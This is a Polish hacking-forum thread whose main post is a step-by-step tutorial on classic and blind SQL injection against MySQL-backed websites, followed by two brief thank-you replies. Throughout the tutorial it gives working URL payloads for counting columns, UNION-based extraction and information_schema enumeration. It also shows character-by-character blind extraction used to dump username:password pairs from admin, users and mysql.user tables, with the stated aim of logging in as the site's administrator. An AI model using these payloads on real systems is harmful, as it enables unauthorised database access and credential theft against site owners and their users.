Forum Haking & Security. Packetstorm Strona Główna
RejestracjaSzukajFAQUżytkownicyGrupyGalerieZaloguj
SQL Injection i Blind SQL Injection

 
Odpowiedz do tematu    Forum Haking & Security. Packetstorm Strona Główna » FAQ, Tutorial's Zobacz poprzedni temat
Zobacz następny temat
SQL Injection i Blind SQL Injection
Autor Wiadomość
WhoAmI
Admin



Dołączył: 13 Lip 2008
Posty: 68
Przeczytał: 0 tematów

Ostrzeżeń: 0/6
Skąd: Się biorą dzieci?
Płeć: Mężczyzna

Post SQL Injection i Blind SQL Injection
W tym tutorialu pokażę wam jak działa SQL Injection i jak z niego korzystać
w celu pozyskania pożytecznych informacji.

Po pierwsze: Co to jest SQL Injection?

Jest to jeden z najczęściej występujących błędów w aplikacjach sieciowych.
Pozwala atakującemu na wykonanie zapytania do bazy danych ( najczęściej MySQL )
w adresie URL i zdobycie poufnych informacji. ( w wielkim skrócie )

1. SQL Injection ( klasyczny błąd lub jakkolwiek go nie nazywać) Very Happy
2. Blind SQL Injection ( część trudniejsza )

Bierzmy się więc do dzieła Very Happy

a). Sprawdzanie podatności.

Powiedzmy, że mamy stronę taką jak ta:

[link widoczny dla zalogowanych]

Teraz aby sprawdzić, czy strona jest podatna, dodamy ' na koniec url'a.
Będzie to wyglądać tak:

[link widoczny dla zalogowanych]'

I dostajemy błąd podobny do tego:

"You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right etc..."

lub coś podobnego

To znaczy, że strona jest podatna na SQL Injection Smile

b). Znajdź liczbę kolumn.

Aby znaleźć liczbę kolumn, użyjemy klauzuli ORDER BY ( mówi bazie danych jak
uporządkować wynik ). Więc, jak tego używać? Po prostu, zwiększamy liczbę,
dopóki nie otrzymamy błędu.

[link widoczny dla zalogowanych] order by 1/* <-- brak błędu

[link widoczny dla zalogowanych] order by 2/* <-- brak błędu

[link widoczny dla zalogowanych] order by 3/* <-- brak błędu

[link widoczny dla zalogowanych] order by 4/* <-- błąd ! dostajemy wiadomość
podobną do tego: "Unknown column '4' in 'order clause'" lub coś podobnego.
To oznacza, że strona ma 3 kolumny, bo dostajemy błąd przy 4 - nieistniejącej.

c) Sprawdzanie funkcją UNION.

Z unionem możemy otrzymać więcej danych w jednym zapytaniu.

Więc mamy:

[link widoczny dla zalogowanych] union all select 1,2,3/*
( znaleźliśmy już przedtem liczbę kolumn w podpunkcie 2 )

Jeśli zobaczymy jakieś liczby jak 1, 2, 3 to znaczy, że UNION działa Very Happy

d) Sprawdzanie wersji MySQL.

[link widoczny dla zalogowanych] union all select 1,2,3/*

| WAŻNE: jeśli /* nie zadziała lub dostaniesz jakiś błąd, to spróbuj --
Jest to komentarz i jest ważny, aby nasze zapytanie działało poprawnie.

Powiedzmy, że mamy numer 2 na ekranie, aby teraz sprawdzić wersję zamienimy
numer 2 na @@version lub version() i dostaniemy coś podobnego do 4.1.33-log
lub 5.0.45 lub coś podobnego.

Powinno to wyglądać tak:

[link widoczny dla zalogowanych] union all select 1,@@version,3/*

Jeśli dostaniesz błąd podobny do tego: "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

( nie widziałem żadnego tuta wyjaśniającego ten błąd, więc muszę napisać Very Happy )

Potrzebujemy funkcji convert().

np.

[link widoczny dla zalogowanych] union all select 1,convert(@@version using latin1),3/*

lub z hex() i unhex()

np.

[link widoczny dla zalogowanych] union all select 1,unhex(hex(@@version)),3/*

i dostaniesz wersję MySQL.

e). Zdobywanie tabeli i nazwy kolumny.

Więc jeśli wersja MySQL jest mniejsza niż 5 (np. 4.1.33, 4.1.12... później
napisze o wersjach wyższych niż 5 ), to musimy odgadnąć nazwę tabel i kolumn
( w większości przypadków ).

Wspólne nazwy tabel to: user/s, admin/s, member/s...

Wspólne nazwy kolumn to: username, user, usr, user_name, password, pass, passwd, pwd, etc...

Np.

[link widoczny dla zalogowanych] union all select 1,2,3 from admin/*

| (tak jak wcześniej, widzimy numer 2 na ekranie, więc jest dobrze Very Happy)

Wiemy, że tabela admin istnieje...

Teraz sprawdźmy nazwy kolumn.

[link widoczny dla zalogowanych] union all select 1,username,3 from admin/*

| ( jeśli dostaniesz błąd, spróbój innej nazwy kolumny ).

Po takim zapytaniu, otrzymujemy nazwę userów na ekranie, dla przykładu
admin, superadmin itp...

Teraz sprawdźmy czy istnieje kolumna z hasłami.

[link widoczny dla zalogowanych] union all select 1,password,3 from admin/*

| ( jeśli dostaniesz błąd, spróbuj innej nazwy kolumny ).

I naszym oczom ukazują się zakodowane hasła lub zwykły tekst, zależne od
tego jak jest ustawiona baza danych. Smile

Np. md5 hash, mysql hash, sha1... <-- to tylko niektóre przykłady kodowania haseł .

Teraz musimy dokończyć zapytanie aby ładnie wyglądało Smile

Do tego możemy użyć funkcji concat() ( łączy ona stringi ).

Np.

[link widoczny dla zalogowanych] union all select 1,concat(username,0x3a,password),3 from admin/*

Zauważ, że gdy piszę 0x3a, to tak jakbym w hexach napisał dwukropek
( można to zastąpić tym: char(5Cool, wartości ascii Smile)

[link widoczny dla zalogowanych] union all select 1,concat(username,char(5Cool,password),3 from admin/*

Teraz informacje zostają wyświetlane tak: username:password
lub admin:admin lub admin:somehash

Kiedy masz już coś takiego, możesz się zalogować jako admin
lub superuser Very Happy

Jeśli nie możesz zgadnąć właściwej nazwy tabeli, możesz zawsze
spróbować mysql.user (domyślnie).

Ta ma kolumny użytkownika i hasła, więc przykładem może być:

[link widoczny dla zalogowanych] union all select 1,concat(user,0x3a,password),3 from mysql.user/*


f). MySQL 5.

Tak jak powiedziałem przedtem, zamierzam teraz wytłumaczyć jak zdobyć nazwy kolumn
i tabel w wersji MySQL wyższej niż 5. Będziemy potrzebowali information_schema. Zawiera
ona wszystkie tabele i kolumny w bazie danych.

Aby zdobyć tabele użyjemy table_name i information_schema.tables.

Np.

[link widoczny dla zalogowanych] union all select 1,table_name,3 from information_schema.tables/*

Tutaj zamieniamy ansz numer 2 z table_name aby otrzymać pierwszą tabelę z information_schema.tables
i wyświetlić ją na ekranie. Teraz musimy dodać LIMIT na koniec zapytania, aby móc wyświetlić inne tabele.

Np.

[link widoczny dla zalogowanych] union all select 1,table_name,3 from information_schema.tables limit 0,1/*[/i]

Zauważ, że wpisałem 0,1 ( pierwszy wynik zaczynam od 0 ).

Np.

[link widoczny dla zalogowanych] union all select 1,table_name,3 from information_schema.tables limit 1,1/*

I druga tabela zostaje wyświetlona. Smile
Trzeciej tabeli przydzielimy limit 2,1.

Np.

[link widoczny dla zalogowanych] union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Próbuj do tej pory, aż zostaną wyświetlone ważne tabele np. db_admin, poll_user, auth, auth_user itp... Very Happy

Metoda na zdobycie nazw kolumn jest taka sama. Używamy column_name i information_schema.columns.
Metoda jest taka sama jak wyżej więc przykładem będzie:

[i]http://www.site.com/news.php?id=5 union all select 1, column_name,3 from information_schema.columns limit 0,1/*

I pierwsza kolumna zostaje wyświetlona.

Druga kolumna ( zmieniamy limit z 0,1 na 1,1)

Np.

[link widoczny dla zalogowanych] union all select 1,column_name,3 from information_schema.columns limit 1,1/*

Druga kolumna wyświetlona, próbować trzeba dotąd, aż otrzymasz coś takiego:
username,user,login, password, pass, passwd etc... Very Happy

Jeśli chcesz wyświetlić nazwy kolumn dla danej tabeli użyj tego zapytania.
Powiedzmy, że znaleźliśmy tabele users.

Np.

[link widoczny dla zalogowanych] union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

I mamy wyświetlone nazwy kolumn z tej tabeli Smile. Używając LIMIT możemy wyświetlić całą
listę kolumn z tej tabeli.

Zauważ, że to nie działa gdy uruchomione są magic quotes.

Powiedzmy, że znaleźliśmy kolumny user, pass i email.
Teraz zakończmy nasze zapytanie, i wypiszmy je wszystkie razem Very Happy
Do tego użyjemy concat(), opisałem to wcześniej.

Np.

[link widoczny dla zalogowanych] union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

I mamy user:pass:email z tabeli users.

przykład: admin:hash:whatever@blabla.com

To już koniec tej części, przejdźmy teraz do części trudniejszej Smile

2. Blind SQL Injection.

Blind Injection jest trochę bardziej skomplikowane niż zwykłe wstrzykiwanie kodu,
ale może być zrobione Very Happy. Muszę wspomnieć, że jest jeden bardzo dobry tutorial, napisany
przez xprog'a, więc polecam go przeczytać Very Happy ( będę go tłumaczył ).

Zacznijmy rzeczy zaawansowane.

Będę używać naszego starego przykładu.

[link widoczny dla zalogowanych]

Gdy to wstukamy, zobaczymy jakąś stronę z artykułami, zdjęciami itp.
Teraz chcemy przetestować atak Blind SQL Injection.

[link widoczny dla zalogowanych] and 1=1 <-- to zawsze prawda

i strona ładuje się normalnie, to dobrze.

Teraz prawdziwy test.

[link widoczny dla zalogowanych] and 1=2 <--- to jest nieprawda

Więc, jeśli jakiś tekst, zdjęcie lub inna treść jest brakująca na zwróconej stronie,
to oznacza że strona jest podatna na Blind SQL Injection.

a). Sprawdzanie wersji MySQL.

Aby zdobyć wersję MySQL w Blind SQLInj, użyjemy substring'a

Np.

[link widoczny dla zalogowanych] and substring(@@version,1,1)=4

Powinno zwrócić TRUE jeśli wersja MySQL to 4.
Zamień 4 na 5, i jeśli zapytanie zwróci TRUE, wtedy wersja MySQL to 5.

Np.

[link widoczny dla zalogowanych] and substring(@@version,1,1)=5

b). Sprawdź czy działa subselect.

Jeśli nie działa SELECT, użyjmy SUBSELECT

Np.

[link widoczny dla zalogowanych] and (select 1)=1

Jeśli strona załaduje się normalnie to znaczy, że SUBSELECT działa.
Teraz sprawdzimy czy mamy dostęp do mysql.user

Np.

[link widoczny dla zalogowanych] and (select 1 from mysql.user limit 0,1)=1

Jeśli strona ładuje się normalnie to mamy dostęp do mysql.user i później możemy
wyciągnąć jakieś hasła używając funkcji load_file() i OUTFILE.

c). Sprawdzanie nazw kolumn i tabel.

To jest część, kiedy zapytanie jest twoim najlepszym przyjacielem Smile

Np.

[link widoczny dla zalogowanych] and (select 1 from users limit 0,1)=1

( z LIMIT'em 0,1 nasze zapytanie zwraca jeden wiersz danych, ponieważ
SUBSELECT zwraca tylko 1 wiersz, to bardzo ważne )

Teraz, jeśli strona załaduje się normalnie, bez żadnej zgubionej treści,
to tabela users istnieje. Jeśli dostałeś FALSE ( brakuje jakiejś części
tekstu), po prostu zmieniaj nazwy tabel dopóki nie odgadniesz tej poprawnej Smile

Powiedzmy, że odgadłeś te tabelę o nazwie users, teraz potrzebujesz nazwę kolumny.
Sprawdźmy najpierw nazwę taką jak tablicy. Jak powiedziałem wcześniej, próbuj
wspólnych nazw dla kolumn.

Np.

[link widoczny dla zalogowanych] and (select substring(concat(1,password),1,1) from users limit 0,1)=1

Jeśli strona ładuje się normalnie, wiemy że nazwa kolumny to password ( jeśli
dostaniemy FALSE próbuj innych wspólnych nazw, lub po prostu zgaduj)

d). Pobierz dane z bazy danych.

Znaleźliśmy w tabeli users kolumny username i password, więc teraz wyciągniemy
z nich dane.

[link widoczny dla zalogowanych] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

Ok tutaj wyciągamy pierwszy znak od pierwszego użytkownika w tabeli użytkowników.

SUBSTRING zwraca nam pierwszy znak i pierwszy znak długości (?) ascii() konwertuje
ten pierwszy znak do wartości ascii a następnie porównuje go znakiem >.

Więc, jeśli ASCII char jest większy niż 80, strona ładuje się normalnie (PRAWDA)

Próbujmy dalej, aż dostaniemy fałsz.

[link widoczny dla zalogowanych] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

dostajemy PRAWDA, dalej zwiększamy

[link widoczny dla zalogowanych] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

znowu PRAWDA, wyżej.

[link widoczny dla zalogowanych] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FAŁSZ!!

Więc pierwszym znakiem w username jest char(99). Używamy konwertera ascii i dowiadujemy się, że char(99) to litera 'c'.

Teraz poszukajmy drugiego znaku.

[link widoczny dla zalogowanych] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Zauważ to, że zmieniłem ,1,1 na ,2,1 aby zdobyć drugi znak. ( teraz zwraca drugi znak )

[link widoczny dla zalogowanych] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

PRAWDA, strona ładuje się normalnie, lecimy wyżej.

[link widoczny dla zalogowanych] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FAŁSZ, numer niżej

[link widoczny dla zalogowanych] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

PRAWDA, wyżej

[link widoczny dla zalogowanych] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FAŁSZ!!

I już wiemy, że druga litera to char(105) czyli 'i'. Więc mamy już 'ci'. Nie przestawaj
dopóki nie dojdziesz do końca ( jeśli> 0 zwraca FALSE wiemy, że dotarliśmy do końca).

Są pewne narzędzia do Blind SQL Injection, myslę że sqlmap jest najlepsze, ale zawsze robię wszystko sam, bo to pozwala mi stać się lepszym SQL INJECTOR'em Very Happy

Mam nadzieję, że czegoś się nauczyłeś.

Miłej zabawy.

[link widoczny dla zalogowanych]

Oryginalny tekst: [link widoczny dla zalogowanych]


Post został pochwalony 0 razy

Ostatnio zmieniony przez WhoAmI dnia Pią 10:03, 18 Lip 2008, w całości zmieniany 1 raz
Pią 5:16, 18 Lip 2008 Zobacz profil autora
Pastinho37




Dołączył: 18 Mar 2014
Posty: 4
Przeczytał: 0 tematów

Ostrzeżeń: 0/6
Skąd: Dobiegniew

Post
ok


Post został pochwalony 0 razy
Wto 22:28, 18 Mar 2014 Zobacz profil autora
Elosator_59




Dołączył: 25 Mar 2014
Posty: 5
Przeczytał: 0 tematów

Ostrzeżeń: 0/6
Skąd: Słomniki

Post
Dzięki! Smile


Post został pochwalony 0 razy
Wto 23:20, 25 Mar 2014 Zobacz profil autora
Wyświetl posty z ostatnich:    
Odpowiedz do tematu    Forum Haking & Security. Packetstorm Strona Główna » FAQ, Tutorial's Wszystkie czasy w strefie EET (Europa)
Strona 1 z 1

 
Skocz do: 
Nie możesz pisać nowych tematów
Nie możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach


fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.
Regulamin